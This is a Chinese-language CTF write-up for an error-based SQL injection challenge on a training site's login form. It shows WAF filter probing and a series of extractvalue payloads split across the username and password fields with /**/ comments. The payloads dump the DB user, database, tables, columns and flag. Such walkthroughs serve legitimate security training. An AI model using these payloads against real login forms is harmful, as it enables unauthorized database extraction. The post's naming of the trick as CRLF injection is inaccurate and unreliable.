解题链接: http://ctf5.shiyanbar.com/web/baocuo/index.php
根据页面提示,我们需要用post方式传入username和password。
尝试输入username=1'&password=1',报错:
也就是说,单引号没有被吃掉。
而后,在页面源代码中发现tip:
输入username='or '1&password='or '1,显示如下:
简单尝试了回显,可以知道,一般的错误是黑色字体的Login failed,而触发WAF则是红色字体的回显。
而在尝试后台的过滤逻辑时发现:
- username参数不允许使用(),也就是说无法使用函数。
- password参数不允许使用floor、extractvalue等这些报错函数。
That is to say,
我们可以在username里写报错函数名extractvalue,password里写剩下的语句,但是这样就会有多余的&password=。
此时我们可以使用/**/注释来解决这个问题,而且/**/也没有被吃掉,这就是HTTP响应拆分漏洞,也叫CRLF注入攻击。
Payload:
爆user
username='or extractvalue /*,password=*/(1, concat(0x2b,(select user()))) or'
爆库
username='or extractvalue /*&password=*/(1, concat(0x2b,(select database()))) or'
爆表1
username='or extractvalue /*&password=*/(1, concat(0x2b,(select group_concat(table_name) from information_schema.tables where table_schema regexp 'error_based_hpf'))) or'
爆表2
username='or extractvalue /*&password=*/(1, concat(0x2b,(select group_concat(table_name) from information_schema.tables where table_schema in ('error_based_hpf')))) or'
爆列1
username='or extractvalue /*&password=*/(1, concat(0x2b,(select group_concat(column_name) from information_schema.columns where table_name regexp 'ffll44jj'))) or'
爆列2
username='or extractvalue /*&password=*/(1, concat(0x2b,(select group_concat(column_name) from information_schema.columns where table_name in ('ffll44jj')))) or'
爆flag
username='or extractvalue /*&password=*/(1, concat(0x2b,(select group_concat(value) from ffll44jj))) or'
需要注意一点的是=被吃掉了,需要用in或者regexp来绕过。
注意in要写成in(库名),regexp可直接写regexp '库名'。
报错注入类型题:
sqli-labs Less18-19
“百度杯”CTF比赛 十月场 Vld